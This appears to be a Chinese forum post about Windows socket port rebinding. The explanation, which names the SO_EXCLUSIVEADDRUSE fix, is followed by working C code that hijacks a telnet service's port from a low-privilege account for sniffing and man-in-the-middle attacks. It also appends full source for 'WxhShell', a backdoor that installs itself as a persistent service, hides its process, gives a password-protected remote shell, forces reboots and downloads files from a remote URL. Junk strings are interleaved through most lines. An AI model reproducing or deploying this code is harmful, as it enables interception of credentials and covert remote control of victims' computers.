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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: K9zr]7;th  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ?t%{2a<X  
yBy7d!@2  
  saddr.sin_family = AF_INET; tU?BR<q  
dU3A:uS^  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); T^4 dHG-(  
;B@#,6t/  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); \:+\H0Bz  
:!_l@=l  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 8gavcsVE[  
0U7Gl9~  
  这意味着什么?意味着可以进行如下的攻击: [~8U],?1  
'd2 :a2C]  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 <TVJ9l  
;j9%D`u<  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) *OA(v^@tx7  
_>vH%FY  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 @RPQ 1da  
AZ(zM.y!#_  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  S`vt\g$ dN  
A8tJ&O rwY  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 e.vt"eRB  
Fj`k3~tUw  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 n{N0S^h  
E2M<I;:EA  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 QqQhQGV  
CzG[S\{+  
  #include jOT/|k  
  #include Stw g[K0<  
  #include R[zN?  
  #include    MH#Tp#RG  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Y/J~M$9P,  
  int main() /wEl\Kx  
  { ]){ZL  
  WORD wVersionRequested; F'|K>!H  
  DWORD ret; }Hb0@ b_  
  WSADATA wsaData; se.HA  
  BOOL val; 2V]a+Cgk  
  SOCKADDR_IN saddr; \i+AMduAo  
  SOCKADDR_IN scaddr; EPJ>@A>;D  
  int err; `V9bd}M%~;  
  SOCKET s; H<|}p Z  
  SOCKET sc; (-$5YKm  
  int caddsize; j1`<+YT<#  
  HANDLE mt; +c/!R|h=S  
  DWORD tid;   &wlD`0v  
  wVersionRequested = MAKEWORD( 2, 2 ); G2N0'R "  
  err = WSAStartup( wVersionRequested, &wsaData ); 8 SU0q9X.  
  if ( err != 0 ) { 'yVe&5?  
  printf("error!WSAStartup failed!\n"); ]A}ZaXd  
  return -1; '4M{Xn}@  
  } 8Ygf@*9L4  
  saddr.sin_family = AF_INET; 3UXZ|!-  
   g$NUu  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 x:0swZ5Z  
AM=> P 7  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); k6"(\d9o  
  saddr.sin_port = htons(23); Pm6U:RL  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) qv(3qY  
  { ;:Z5Ft m  
  printf("error!socket failed!\n"); `^#4okg]  
  return -1; E{[Y8U1n  
  } &Z>??|f  
  val = TRUE; \)5mO 8w  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 <pV8 +V)  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) zgz!"knVx  
  { j_d}?jh  
  printf("error!setsockopt failed!\n"); p>eYi \'  
  return -1; R`]@.i4tt  
  } [_jw8`  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; /RJ]MQ\*O  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 3\4e{3$  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 vv&< 7[  
2H w7V3q  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) A{4,ih"5  
  { ]d[e  
  ret=GetLastError(); lusUmFm'*  
  printf("error!bind failed!\n"); Pk;/4jt4  
  return -1; $}vzBuWHwN  
  } j^#p#`m  
  listen(s,2); md<^x(h"<  
  while(1) _IdW5G  
  { `uMc.:5\  
  caddsize = sizeof(scaddr); Q9 AvNj>X  
  //接受连接请求 ilQ}{p6I  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); hBRi5&%  
  if(sc!=INVALID_SOCKET) L754odc  
  { ;6 W[%{  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Csy$1;"A  
  if(mt==NULL) HI{q#  
  { xTu J~$(  
  printf("Thread Creat Failed!\n"); m-$}'mEO  
  break; EpO2%|@  
  } @5wc 3y  
  } "f 89   
  CloseHandle(mt); FRR05%K  
  } u=Ik&^v Wq  
  closesocket(s); ,\iXZ5"R  
  WSACleanup(); 59{X;  
  return 0; 'm`}XGUBS  
  }   . s>@@m-  
  DWORD WINAPI ClientThread(LPVOID lpParam) ,9d]-CuP;  
  { *Sdx:G~gp  
  SOCKET ss = (SOCKET)lpParam; 9,~7,Py}  
  SOCKET sc; }wRm ~  
  unsigned char buf[4096]; @gb W:  
  SOCKADDR_IN saddr; w>cqsTq  
  long num; Wcc4/:`Hu  
  DWORD val; [uGsF0#e  
  DWORD ret; T8Mqu`$r  
  //如果是隐藏端口应用的话,可以在此处加一些判断 l0^cdl-  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ,vmn{gz  
  saddr.sin_family = AF_INET; )bih>>H  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); qD*y60~]zz  
  saddr.sin_port = htons(23); .-iW T4Dn  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) [/q Bvuun  
  { sQA_6]`  
  printf("error!socket failed!\n"); AB\Ya4O"9  
  return -1; )%S@l<%@?  
  } 'u x!:b"  
  val = 100; q/zU'7%@  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) *]HnFP  
  { ms5?^kS2O  
  ret = GetLastError();  s&pnB  
  return -1; 9s_^?q  
  } tqpO3  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @Q,Q"c2  
  { O!nS3%De  
  ret = GetLastError(); `XH0S`B  
  return -1; Z" ;q w  
  } G3:!]}  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) OFtf)cGE  
  {  '4{=x]K  
  printf("error!socket connect failed!\n"); aOd#f:{y  
  closesocket(sc); <-?C\c~G@  
  closesocket(ss); iii|;v ]+  
  return -1; Z5(9=8hB/  
  } wHs1ge(  
  while(1) ws9IO ?|&G  
  { X uE: dL?  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 1|4,jm$  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 3%5YUG@  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 (eU4{X7  
  num = recv(ss,buf,4096,0); xE@/8h  
  if(num>0) So!=uYX  
  send(sc,buf,num,0); 2`riI*fQ  
  else if(num==0) TMMJ5\t2  
  break; N8pL2y:R[P  
  num = recv(sc,buf,4096,0); uU3A,-{-  
  if(num>0) B%uY/Mwz$  
  send(ss,buf,num,0); 9\hI:rI  
  else if(num==0) =3(Auchl$Y  
  break; l90"1I A  
  } 2rT^OGw6  
  closesocket(ss); wjl)yo$z  
  closesocket(sc); ;DK%!."%  
  return 0 ; ,\v'%,:C  
  } D {Ol8:  
gep#o$P  
R6(:l; W  
========================================================== hm73Zy  
RV  V`  
下边附上一个代码,,WXhSHELL i:aW .QZ.  
v5'`iO0o  
========================================================== G*+^b'7  
mTI`^e  
#include "stdafx.h" k2v:F  
7xeqs q  
#include <stdio.h> YS^!'IyG/B  
#include <string.h> O_1[KiZ  
#include <windows.h> X8ap   
#include <winsock2.h> b v_ UroTr  
#include <winsvc.h> j~{cT/5Y_  
#include <urlmon.h> h97#(_wV>  
6qZ\^ U  
#pragma comment (lib, "Ws2_32.lib") A811VL^  
#pragma comment (lib, "urlmon.lib") ErNYiYLi]  
Oq.ss!/z  
#define MAX_USER   100 // 最大客户端连接数 4{kH;~ z$  
#define BUF_SOCK   200 // sock buffer ~i;{+j6Ho!  
#define KEY_BUFF   255 // 输入 buffer t([}a ~1}  
e9[72V  
#define REBOOT     0   // 重启 J;obh.}u"{  
#define SHUTDOWN   1   // 关机 dW4jkjap  
wUCxa>h'  
#define DEF_PORT   5000 // 监听端口 q5R| ^uf  
}?9&xVh?\  
#define REG_LEN     16   // 注册表键长度 ZEI,9`t!  
#define SVC_LEN     80   // NT服务名长度 jj[6oNKE1  
fYUV[Gm  
// 从dll定义API =p'+kS+  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); JnsJ]_<  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); r+Ki`HD%  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); O<cP1TF  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ;`#R9\C=h  
;Z{D@g+  
// wxhshell配置信息 p5#x7*xR6  
struct WSCFG { 2g{tzR_j  
  int ws_port;         // 监听端口 -n05Z@7  
  char ws_passstr[REG_LEN]; // 口令 C*(  
  int ws_autoins;       // 安装标记, 1=yes 0=no GVXdyi  
  char ws_regname[REG_LEN]; // 注册表键名 G@H!D[wd  
  char ws_svcname[REG_LEN]; // 服务名 "9s_[e  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 V_SH90@)+  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 z/{X{+Z  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \nZB@u;S  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 12n:)yQy  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &Pr\n&9A  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Zigv;}#  
[HQ)4xG  
}; *z0d~j*W;  
Lg7A[\c ~  
// default Wxhshell configuration EhHxB fAQ  
struct WSCFG wscfg={DEF_PORT, en< $.aY  
    "xuhuanlingzhe", {Uw 0zC  
    1, e NIzI]~  
    "Wxhshell", ]X>yZec  
    "Wxhshell", l\s!A&L  
            "WxhShell Service", pIlEoG=[_  
    "Wrsky Windows CmdShell Service", a<G&}|6  
    "Please Input Your Password: ", 6^Wep- $  
  1, 2cYBm^o|x  
  "http://www.wrsky.com/wxhshell.exe", GF ux?8A:%  
  "Wxhshell.exe" _!',%  +  
    }; YqX$a~  
4 ThFC  
// 消息定义模块 ~w>h#{RB  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1Nt &+o  
char *msg_ws_prompt="\n\r? for help\n\r#>"; K29/7A/  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; C27:ty V  
char *msg_ws_ext="\n\rExit."; {]^Ixm-,f  
char *msg_ws_end="\n\rQuit."; ?mg@zq8  
char *msg_ws_boot="\n\rReboot..."; 0\%g@j-aD  
char *msg_ws_poff="\n\rShutdown..."; &-ro pY  
char *msg_ws_down="\n\rSave to "; -@#w)  
9wWBE<}>u  
char *msg_ws_err="\n\rErr!"; $"kPzo~B_  
char *msg_ws_ok="\n\rOK!"; T0w_d_aS  
D`LBv,n  
char ExeFile[MAX_PATH]; B3#G  
int nUser = 0; hk~/W}sI  
HANDLE handles[MAX_USER]; W" 5nS =d%  
int OsIsNt; ]b4IO4T  
$,4h\>1WP  
SERVICE_STATUS       serviceStatus; @gI1:-chB  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; fM;,9  
Rg?6eN  
// 函数声明 zU?O)w1'  
int Install(void); /}?7Eni  
int Uninstall(void); 2zTi/&K&  
int DownloadFile(char *sURL, SOCKET wsh); <sH}X$/  
int Boot(int flag); !$Nj!  
void HideProc(void); 9-ozrw8t  
int GetOsVer(void); bU! v  
int Wxhshell(SOCKET wsl); ?"d$SK"6Z  
void TalkWithClient(void *cs); IP62|~Ap  
int CmdShell(SOCKET sock); VPUVPq~&  
int StartFromService(void); "}]$ag!`q$  
int StartWxhshell(LPSTR lpCmdLine); q\Y4vWg  
C%XO|sP  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); i5 rkP`)j  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); gfQ?k  
iEvQ4S6tD  
// 数据结构和表定义 U[C4!k:0  
SERVICE_TABLE_ENTRY DispatchTable[] = Q7s@,c!m_  
{ Lzq/^&sc(  
{wscfg.ws_svcname, NTServiceMain}, +<7Oj s>o  
{NULL, NULL} >d/H4;8  
}; Gnkar[oa&  
OR <+y~Rv  
// 自我安装 (@1:1K(   
int Install(void) 6CY&pbR  
{ k +-w%  
  char svExeFile[MAX_PATH]; _[2@2q0  
  HKEY key; S&-K!XyJ  
  strcpy(svExeFile,ExeFile); 5'lPXKn+L  
#4^d#Gj  
// 如果是win9x系统,修改注册表设为自启动 YlHP:ZW-cu  
if(!OsIsNt) { WK>F0xMs1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { X,QsE{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,;)ZF  
  RegCloseKey(key); J Wn26,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { q A)O kR'm  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); cr1x CPJj  
  RegCloseKey(key);  ?%,NOX  
  return 0; un{ZysmtB6  
    } m@4Dz|  
  } $]2)r[eA)  
} Y2H-D{a27  
else { 1+x" 5<(W  
QU).q65p  
// 如果是NT以上系统,安装为系统服务 jj5S+ >4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); EApKN@<"  
if (schSCManager!=0) b^1QyX^?:  
{ (`tRJWbdz  
  SC_HANDLE schService = CreateService :L[>!~YG_n  
  ( aLO^>",  
  schSCManager, PVCoXOqh  
  wscfg.ws_svcname, 2{OR#v~  
  wscfg.ws_svcdisp, P6:C/B  
  SERVICE_ALL_ACCESS, /).{h'^Hq\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , )kD/ 8  
  SERVICE_AUTO_START, CKsVs.:u  
  SERVICE_ERROR_NORMAL, -pC8 L<  
  svExeFile, 7{;it uqX  
  NULL, ?"B] "%M&  
  NULL, @YJI'Hf67  
  NULL, :D.0\.p  
  NULL, z|l*5@p  
  NULL ~ Z\:Nx  
  ); U ZM #O  
  if (schService!=0) 22\!Z2@T/  
  { EYAaK^ &  
  CloseServiceHandle(schService); \(o"/*  
  CloseServiceHandle(schSCManager); oaoTd$/5  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); /R)wM#&  
  strcat(svExeFile,wscfg.ws_svcname); Tg\bpLk0=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { YDt+1Kw}D  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); y>^a~}Zq  
  RegCloseKey(key); jwZ,_CK  
  return 0; 0I&k_7_   
    } OmYVJt_  
  } V2MOD{Maat  
  CloseServiceHandle(schSCManager); )- C3z   
} 0 'QWa{dS\  
} IrLGAQ0  
qL(Q1O!  
return 1; -fR :W{u  
} \/A.j|by,>  
KpLmpK1  
// 自我卸载 U.%Kt,qB  
int Uninstall(void) qNp1<QO0  
{ .HqFdsm  
  HKEY key; WjV15\,  
K2   
if(!OsIsNt) { 'D\Q$q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )Fw/Cu  
  RegDeleteValue(key,wscfg.ws_regname); _X6'u J  
  RegCloseKey(key); &p0e)o~Ux  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K =g</@L6R  
  RegDeleteValue(key,wscfg.ws_regname); t}EM X9SQ  
  RegCloseKey(key); qe~x?FO_>  
  return 0; wp[Ug2;G  
  } bDI%}k9#  
}  6@S6E(^  
} c OYD N[k  
else { okNo- \Dh!  
G0cG%sIl  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;JW_4;-  
if (schSCManager!=0) .])prp8  
{ NFK`,  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); y8Va>ul"U  
  if (schService!=0) 7R+(3NU1A  
  { 6b|?@  
  if(DeleteService(schService)!=0) { I.2J-pu}  
  CloseServiceHandle(schService); |{jT+  
  CloseServiceHandle(schSCManager); Jd2.j?P=  
  return 0; ']]d-~:  
  } r~w.J+W  
  CloseServiceHandle(schService); 39pG-otJ  
  } L * n K> +  
  CloseServiceHandle(schSCManager); =bVPHrKNQ  
} U$rMZk  
} <Au2e  
iCt.rr~;V  
return 1; ZzT=m*tQ&  
} !xM5 A[f  
KWTV!Wxb=K  
// 从指定url下载文件 eRauyL"Q+  
int DownloadFile(char *sURL, SOCKET wsh) @NHh- &;w  
{ <=uYfi3,  
  HRESULT hr; D28`?B9 (  
char seps[]= "/"; 8% @| /  
char *token; OMGggg  
char *file; G=dzP}B'WA  
char myURL[MAX_PATH]; 5En6f`nR{  
char myFILE[MAX_PATH]; 1v o)]ff  
azcPeAe  
strcpy(myURL,sURL); +2tQ FV;  
  token=strtok(myURL,seps); +^)v"@,VP  
  while(token!=NULL) L74Mz]v  
  { D$>_W,*V  
    file=token; ,pNx(a  
  token=strtok(NULL,seps); 5pO|^G j1  
  } X1L@ G  
K %^n.  
GetCurrentDirectory(MAX_PATH,myFILE); BHXi g~d  
strcat(myFILE, "\\"); ^5mc$~1`  
strcat(myFILE, file); L9x-90'q,  
  send(wsh,myFILE,strlen(myFILE),0); v gN!9  
send(wsh,"...",3,0); !>UlvT-  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {Gxe%gu6K  
  if(hr==S_OK) /--p#Gh'  
return 0; t6+m` Kq  
else )?n'ZhsX  
return 1; J~YT~D 2L  
%H{p&ms  
} | HazM9=  
xO$P C,  
// 系统电源模块 @hLkU4S  
int Boot(int flag) Cs $5Of(  
{ pYO =pL^Q  
  HANDLE hToken; \& JZ >h  
  TOKEN_PRIVILEGES tkp; voWH.[n^_  
Vej$|nF  
  if(OsIsNt) { QFh1sb)]d)  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); O*yxOb*  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); pwUXM?$R  
    tkp.PrivilegeCount = 1; eH&F gmU  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ^aFm6HS1  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9I/b$$?D  
if(flag==REBOOT) { MNT~[Z9L5G  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %p Wn9  
  return 0; :t?B)  
} 5*0zI\  
else { jX53 owZ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [^H2'&]  
  return 0; xn8K OwX%  
} jU,Xlgz(A  
  } =8^+M1I  
  else { W{p}N  
if(flag==REBOOT) { LiJYyp  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) .Po"qoGy  
  return 0; _vQ52H,  
} j;x()iZ<  
else { ez4!5&TzRm  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) L"_X W no  
  return 0; J0G@]H  
} ">uN={Iy  
} Aoa8Q E   
H`EhsYYK  
return 1; $-4](br|  
} gesbt  
 :Mx  
// win9x进程隐藏模块 'uPAG;)m  
void HideProc(void) P5S ]h  
{ %&ejO= r  
cx}Yu8  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); J8|MK.oD  
  if ( hKernel != NULL ) Daf|.5>(@  
  { :uL<UD,vu3  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); MJn-] E  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _k84#E0  
    FreeLibrary(hKernel); O&%'j  
  } +ikSa8)*i  
9u=A:n\  
return; 4;`z6\u9-  
} ~/OY1~c  
OvfluFu7  
// 获取操作系统版本 F!z0N&#  
int GetOsVer(void) .ZXoRT  
{ 1$E(8"l  
  OSVERSIONINFO winfo; vEv kC  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); FaHOutP  
  GetVersionEx(&winfo); =~^b  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =?sG~  
  return 1; /\J0)V  
  else @!ChPl  
  return 0; c-Gp|.C  
} -H| 9 82=  
.qBc;u  
// 客户端句柄模块 tr<~:&H4T  
int Wxhshell(SOCKET wsl) wmVmGa R  
{ ]xC56se  
  SOCKET wsh;  *7m lH  
  struct sockaddr_in client; TG2#$Bq1  
  DWORD myID; {DO9%ej)  
 F/Goq`  
  while(nUser<MAX_USER) EOPx 4+o  
{ Y&2FH/(M  
  int nSize=sizeof(client); }T5@P {3P3  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); LF|0lAr  
  if(wsh==INVALID_SOCKET) return 1; ^:9a1{L[  
h*w9{[L  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 1;B~n5C.   
if(handles[nUser]==0) \aSP7DzqQ  
  closesocket(wsh); {kpad(E  
else I{Du/"r#  
  nUser++; n,I3\l9  
  } /VR~E'Cy%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); hgU;7R,?ir  
mc{z  
  return 0; 6?Ncgj &@  
} "t|)Kl  
!gh8 Qs  
// 关闭 socket &/@V$'G=  
void CloseIt(SOCKET wsh) :!gNOR6Lh  
{ CmEqo;Is  
closesocket(wsh); tE*BZXBlm  
nUser--; ||+~8z#+,  
ExitThread(0); 2mLZ4 r>WE  
} @K;b7@4y  
`}X3f#eO&  
// 客户端请求句柄 5es t  
void TalkWithClient(void *cs) W"\~O"a  
{ IjI'Hx  
EJ:O 1  
  SOCKET wsh=(SOCKET)cs; vCa8`m  
  char pwd[SVC_LEN]; *l5?_tF  
  char cmd[KEY_BUFF]; C'R9Nn'  
char chr[1]; _^ hg7&dF  
int i,j; W>3S%2d  
-^&=I3bp  
  while (nUser < MAX_USER) { hSehJjEoM  
-wU]L5uP  
if(wscfg.ws_passstr) { dT| XcVKg  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =<]`'15"V  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &V4Zm n?UU  
  //ZeroMemory(pwd,KEY_BUFF); ~yv7[`+Tgg  
      i=0; i)#-VOhX)  
  while(i<SVC_LEN) { v h,(]t  
C% -Tw]T$_  
  // 设置超时 v l"8Oi*r^  
  fd_set FdRead; GRZz@bAO?$  
  struct timeval TimeOut; o78u>Oy  
  FD_ZERO(&FdRead); sn"((BsO<  
  FD_SET(wsh,&FdRead); Ny^ 1#R  
  TimeOut.tv_sec=8; !73y(Y%TE  
  TimeOut.tv_usec=0; *g5bdQ:Av~  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); & ALnE:F  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); OG$n C  
 "'4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j6%W+;{/pj  
  pwd=chr[0]; Q-x>yau"  
  if(chr[0]==0xd || chr[0]==0xa) { #XQ/y}(  
  pwd=0; ^s~)"2 g  
  break; "GMU~594  
  } ZP"; B^J  
  i++; <83Ky;ry  
    } ~ l}f@@u  
'LgRdtO6  
  // 如果是非法用户,关闭 socket A6(Do]M  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Y?^liI`#  
} \'|n.1Fr  
Jr!^9i2j'  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); t:wBh'K~R8  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h'y"`k -  
yr\ClIU  
while(1) { 0%%1:W-  
Jn+-G4h$  
  ZeroMemory(cmd,KEY_BUFF); x`E<]z*w}  
mTe3%( LD  
      // 自动支持客户端 telnet标准   "ESc^28  
  j=0; )KZMRAT-  
  while(j<KEY_BUFF) { PUQ",;&y1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <]Td7-n  
  cmd[j]=chr[0]; TV`1&ta  
  if(chr[0]==0xa || chr[0]==0xd) { 99yWUC,  
  cmd[j]=0; BU -;P  
  break; bEcs(Mc~  
  } |[],z 8  
  j++; t/ \S9  
    } a1pp=3Pd?~  
@i ~A7L0/  
  // 下载文件 +4yre^gC  
  if(strstr(cmd,"http://")) { `v -[&  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~'M<S=W  
  if(DownloadFile(cmd,wsh)) 21TR_0g&<  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8AR8u!;8  
  else 4t*%(  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gC}}8( k  
  } eT b!xb  
  else { Pmv@  
BX/3{5Y>{  
    switch(cmd[0]) { nDn J}`k  
  l uP;P&  
  // 帮助 uV:R3#^  
  case '?': { wra0bS)4  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); k4Q>J,k  
    break; HV%/baX]  
  } O)jD2X?  
  // 安装 1 Uup.(  
  case 'i': { *}2L4]  
    if(Install()) UZ<K'H,q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sVx}(J  
    else #mV2VIX#Jv  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fkI 5~Y|  
    break; \'~ E%=Q  
    } )tG. 9"<  
  // 卸载 Q`F1t  
  case 'r': { k;\gYb%L  
    if(Uninstall()) *)K\&h<{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1L,L/sOwB&  
    else R-%6v2;ry  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $0$sM/%  
    break; _?-oPb  
    } <AU*lLZ  
  // 显示 wxhshell 所在路径 2E }vuw=c  
  case 'p': { y#Dh)~|k  
    char svExeFile[MAX_PATH]; - l X4;  
    strcpy(svExeFile,"\n\r"); 1$b@C-B@g  
      strcat(svExeFile,ExeFile); mx^Ga=: ?  
        send(wsh,svExeFile,strlen(svExeFile),0); +/[M Ex=   
    break; 5x+]uABE  
    } #@FA=p[%  
  // 重启 M50I.Rd  
  case 'b': { ?/YABY}L  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); cWAw-E5  
    if(Boot(REBOOT)) %`F;i)Zz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F85_Lz4  
    else { '=0}2sF>  
    closesocket(wsh); ;<Q%d~$xy}  
    ExitThread(0); 4&W?: =H2  
    } mB-,\{)  
    break; 'xH^ksb"  
    } ZV gfrvZP  
  // 关机 T-N>w;P  
  case 'd': { JP8}+  
